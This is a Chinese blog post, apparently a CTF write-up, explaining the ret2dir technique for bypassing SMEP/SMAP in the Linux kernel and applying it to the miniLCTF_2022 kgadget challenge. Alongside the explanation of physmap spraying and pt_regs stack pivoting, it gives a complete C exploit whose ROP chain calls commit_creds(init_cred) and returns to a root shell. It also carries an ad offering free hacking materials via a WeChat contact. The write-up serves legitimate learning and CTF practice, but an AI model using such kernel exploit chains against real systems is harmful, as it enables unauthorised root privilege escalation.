kernel-pwn之ret2dir利用技巧

前言

ret2dir是2014年在USENIX發表的一篇論文,該論文提出針對ret2usr提出的SMEPSMAP等保護的繞過。全稱爲return-to-direct-mapped memory,返回直接映射的內存。

ret2dir

SMEPSMAP等用於隔離用戶與內核空間的保護出現時,內核中常用的利用手法是ret2usr,如下圖所示(圖片來自論文)。首先是在內核中找到可以控制指針的漏洞,修改指針使其指向爲用戶空間,因此在用戶空間佈置惡意的數據或者代碼,完成漏洞的利用。但是當SMEPSMAP保護的出現,在內核態下,不能夠執行或者訪問用戶空間的代碼或者數據,導致了該利用方式失效,因爲即使在用戶空間中部署了payload,在內核態下也無法訪問。因此這種通過顯示數據的共享方式已經不再適用了。

image-20230706112136937

所以作者提出了一種思路,能否在內核空間中也能夠訪問到用戶空間的數據。作者最終找到了一段區域,可以隱式的訪問用戶空間的數據。在內核中存在這部分區域direct mapping of all physical memory,物理地址直接映射區。

image-20230706114017524

這個映射區其實就是內核空間會與物理地址空間進行線性的映射,我們可以在這段區域直接訪問到物理地址對應的內容。

未命名文件

那麼作者就提出了一種攻擊場景,由於在虛地址中的內容最終都會映射到物理地址上,若能將用戶空間的數據同樣映射到這段區域上,豈不是就可以在內核空間也可以訪問到用戶空間的數據了。該段區域也被稱之爲phsymap,它是一段大的,連續的虛擬內存區域,它包含了部分或全部的物理內存的直接映射。下圖這種情況作者也稱之爲是虛擬地址別名的情況,因爲在用戶空間與內核空間中都存在一個地址可以訪問payload

未命名文件 (1)

最終作者構想的攻擊場景如下圖所示(圖片來自論文),不同於ret2usr,指針不再被修改爲指向用戶空間,而是指向了物理地址的直接映射區,由於該映射區指向物理地址,而在用戶空間構造的payload也會映射到物理地址,因此若能獲得指向存在payload的用戶空間對應的物理地址在phsymap位置,就能夠直接執行用戶空間的payload

image-20230706120102411

想要獲得映射地址有以下方法

(1)通過讀取/proc/pid/pagemap獲取,該文件中存放了物理地址與虛擬地址的映射關係,可是該文件需要root權限才能讀取。

image-20230707154728342

(2)通過大量覆蓋phsymap內存的方法,提高命中率。使用堆噴技術,在該內存區填充大量的payload這樣既不會影響payload的執行,又能夠提高命中payload的可能性,填充效果如下圖

 

未命名文件 (3)

在舊版本的內核中phsymap是具有可執行權限的,因此可以在用戶空間中填充shellcode,但是如今的內核版本phsymap已經不具備可執行權限了,因此只能在裏面填充ROP

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

miniLCTF_2022-kgadget

題目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022

kgadget_ioctl

kgadget_ioctl中,當我們輸入的操作碼爲0x1BF52時,會將rdx寄存器中的值進行解引用,並且以函數的方式調用該地址,這就導致了任意地址執行。

image-20230707163020808

run.sh

題目提供的run.sh開啓了smepsmap的保護,但是沒有開啓地址隨機化KASLR。因此雖然我們可以控制內核執行任意的地址,但是由於題目開啓了smepsmap,因此該地址值不能選擇爲用戶空間的地址。

#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel bzImage \
    -initrd ./rootfs.cpio.gz \
    -nographic \
    -monitor /dev/null \
    -snapshot \
    -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
    -no-reboot \
    -s

ret2dir利用流程

首先是如何執行我們指定的地址值的,可以看到實際是將我們傳入的地址,解引用後存放到rbx寄存器,結果通過將rbx寄存器的值移動到棧頂,從而修改棧頂的值,接着調用ret指令,使得執行被解引用的值。

image-20230707165636315

想要使得內核提權,需要執行commit(prepare_kernel_cred(0),接着通過swapgsret指令的組合。因此需要找到一段內存,將該流程的ROP鏈填充進去。這是因爲kgadget_ioctl並不是執行我們傳入進去的地址,而是需要將該地址先解引用後再執行,相當於需要執行傳入地址對應的內容。因此若我們直接將commit函數的地址傳入進去,它會執行commit函數指向的內容。

那麼這段區域需要選取在哪裏,若我們直接再用戶空間中構造這段payload,接着將用戶空間地址傳遞給ioctl是不可行的,因爲內核開啓了smapsmep的保護,因此對用戶空間的訪問都是不被允許的。

因此需要用到ret2dir的技巧,由於用戶空間的虛擬地址同樣會映射到物理地址,而在內核空間存在一段內存被稱之爲phsymap,它存放着物理地址的內容,因此我們在用戶空間填充的內容,可以在phsymap找到。但是這段內存十分龐大,有64TB的大小,我們怎麼才能確保搜索到存放我們payload的地址呢?答案就是儘可能的填充,使得我們用戶空間的payload儘可能的大,那麼我們搜索到的機率也會增大。

image-20230706114017524

我們以頁(4096)爲單位開闢內存,並且循環了0x4000次,

void copy_dir()
{
    char *payload;
    payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    for (int i = 0; i < 4096; i++)
        payload[i] = 'z';
}
...
int main()
{
    ...
    for(int i = 0; i < 0x4000; i++)
        copy_dir();
}

可以發現,在用戶空間寫入的z值,我們在內核空間同樣可以訪問到。當然寫入的次數以及字節數是可以自己人爲調整的,可以頻繁嘗試,儘可能的大的填充,這樣我們找到的機率也更大。

image-20230707171617202

當然有時候頁的大小頁不一定是4096,因此可以使用getconf PAGESIZE獲得頁的大小

image-20230707171839966

因此我們已經找到能夠訪問到用戶空間payload的內核地址值,接着需要將內核棧的空間遷移到phsymap上,這是因爲用原來的內核棧無法使得連續gadget之間的調用。這裏修改爲測試gadget,用於測試不做棧遷移會發生什麼。

    unsigned long *payload;
    payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret;
    payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;

可以看到執行一次pop rdi; ret,這是因爲ret指令會將當前棧頂的值彈出棧,而我們輸入的值不再棧上,而是在phsymap上。因此當我們輸入的ROP鏈不再棧上時,就需要使用棧遷移。

image-20230707173324894

由於內核中存在着需要改變rsp寄存器的gadget,只要使用add rsp, xxx; ret即可完成棧遷移。因此需要在棧上填入phsymap的地址,使得經過add rsp, xxx後能夠使得rsp指向phsymap。爲了使得棧上能夠存儲phsymap的地址,這裏需要藉助一個結構體pt_regs

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

可以看到這個結構體存放了一系列的寄存器,這是因爲在進行系統調用時,會完成從用戶態到內核態的切換,因此需要保存用戶態時的上下文寄存器,而這些寄存器的值都需要保存在pt_regs中。使用下述代碼測試上述pt_regs結構體存放的位置。

    target =  0xffff888000000000 + 0x6000000;
    __asm(
        ".intel_syntax noprefix;"
        "mov r15, 0x15151515;"
        "mov r14, 0x14141414;"
        "mov r13, 0x13131313;"
        "mov r12, 0x12121212;"
        "mov r11, 0x11111111;"
        "mov r10, 0x10101010;"
        "mov r9,  0x99999999;"
        "mov r8,  0x88888888;"
        "mov rax, 0x10;"
        "mov rcx, 0xcccccccc;"
        "mov rdx, target;"
        "mov rsi, 0x1BF52;"
        "mov rdi, fd;"
        "syscall;"
        ".att_syntax;"
    );

可以看到我們在執行系統調用之前的參數,都會以pt_regs結構體中的順序進行存放,這裏需要注意的是r11寄存器用來存放了rflags的值。

image-20230708013246949

不過出題者在會對pt_regs結構體中的部分寄存器的值進行修改。

image-20230708013612568

最後只剩下r8r9寄存器是可控的。但是隻是用兩個寄存器的值就足於完成棧遷移的操作了。

image-20230708013703427

這裏可以計算一下棧頂到r9寄存器的距離0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8,因此找到add rsp 0xc0的寄存器即可,因爲ret指令還會進行一次彈棧操作。這裏一開始是使用extract-image.sh進行提取,但是會報錯。因此改用vmlinux-to-elf,這個工具提取出的符號比較全。工具的地址爲https://github.com/marin-m/vmlinux-to-elf

image-20230708014733241

提取出來就可以愉快的獲取gadget。由於沒找到add 0xc8gadget,因此找了個平替的。再結合pop rsp; ret 指令即可完成棧遷移的操作。

add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
pop rsp; ret;

接着需要考慮堆噴的填充大量內存,因爲題目沒有開啓地址隨機化,因此即使不使用堆噴,也能夠定位到具體的地址,但是實際情況是該地址可以隨機,因此需要確保落入到其他地址也能完成利用。由於第一條指令必須是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;,因爲需要進行棧遷移。因此在一頁的內存中,因使用盡量多的該指令進行填充,確保棧遷移的正常執行。

由於完成提權的payload需要0x58的大小,而該指令會將rsp擡高0xc0,因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd,因此這裏循環複製該指令0x1dd次,接着將剩餘空間使用ret指令(常用的堆噴的指令)填充(這裏使用了xor esi , esi; ret,因爲異或操作不影響。)

for (int i = 0; i < 0x1dd; i++)
    payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
for (int i = 0; i < 24; i++)
    payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;

最後是在提權時沒找到合適gadgetprepare_kernel_cred的返回值即rax寄存器的值,移動到rdi寄存器中。因此學了下出題者的wp,發現出題者使用了init_cred結構體作爲commit_creds函數的參數。

init_cred 是 Linux 內核中的一個結構體,用於表示進程的初始憑證。它包含了與進程相關的安全屬性和權限信息。,init_cred 結構體通常用於表示初始的 root 憑證。因此只需要藉助一個pop rdi;retgadget加上init_cred結構體的地址就可以完成root憑證的初始化了。

exp

最後完整的exp如下

#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
​
#define COLOR_NONE "\033[0m" //表示清除前面設置的格式
#define RED "\033[1;31;40m" //40表示背景色爲黑色, 1 表示高亮
#define BLUE "\033[1;34;40m"
#define GREEN "\033[1;32;40m"
#define YELLOW "\033[1;33;40m"
​
/*
​
0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
0xffffffff810c92e0: T commit_creds
0xffffffff810c9540: T prepare_kernel_cred
0xffffffff81224afc: xor esi, esi; ret;
0xffffffff8108c6f0: pop rdi; ret;
0xffffffff82a6b700 D init_cred;
0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode
0xffffffff811483d0: pop rsp; ret;
*/
int fd;
unsigned long user_ss, user_cs, user_sp, user_rflags;   
unsigned long target;
unsigned long target1;
​
void save_state();
void copy_dir();
void back_door();
​
void back_door()
{
    printf(RED"getshell");
    system("/bin/sh");
}
​
void copy_dir()
{
​
    unsigned long *payload;
    unsigned int index = 0;
    payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);                                                                                                                                                                                                                                                                                                                                         
    for (int i = 0; i < 0x1dd; i++)
        payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
    for (int i = 0; i < 24; i++)
        payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
    payload[index++] = 0xffffffff8108c6f0; // pop rdi ret
    payload[index++] = 0xffffffff82a6b700; //init_cred
    payload[index++] = 0xffffffff810c92e0; //commit_creds
    payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)back_door;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    
}
​
void save_state()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov user_ss, ss;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    printf(RED"[*]save state\n");
    printf(BLUE"[+]user_ss:0x%lx\n", user_ss);
    printf(BLUE"[+]user_cs:0x%lx\n", user_cs);
    printf(BLUE"[+]user_cs:0x%lx\n", user_sp);
    printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags);
    printf(RED"[*]save finish\n");
}
​
int main()
{
    save_state();   
    fd = open("/dev/kgadget", O_RDWR);
    /*
    for(int i = 0; i < 0x4000; i++)
        copy_dir();
    */
    
    target =  0xffff888000000000 + 0x6000000;
    __asm(
        ".intel_syntax noprefix;"
        "mov r15, 0x15151515;"
        "mov r14, 0x14141414;"
        "mov r13, 0x13131313;"
        "mov r12, 0x12121212;"
        "mov r11, 0x11111111;"
        "mov r10, 0x10101010;"
        "mov r9,  0xffffffff811483d0;"
        "mov r8,  target;"
        "mov rax, 0x10;"
        "mov rcx, 0xcccccccc;"
        "mov rdx, target;"
        "mov rsi, 0x1BF52;"
        "mov rdi, fd;"
        "syscall;"
        ".att_syntax;"
    );
        
}

更多網安技能的在線實操練習,請點擊這裏>>


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章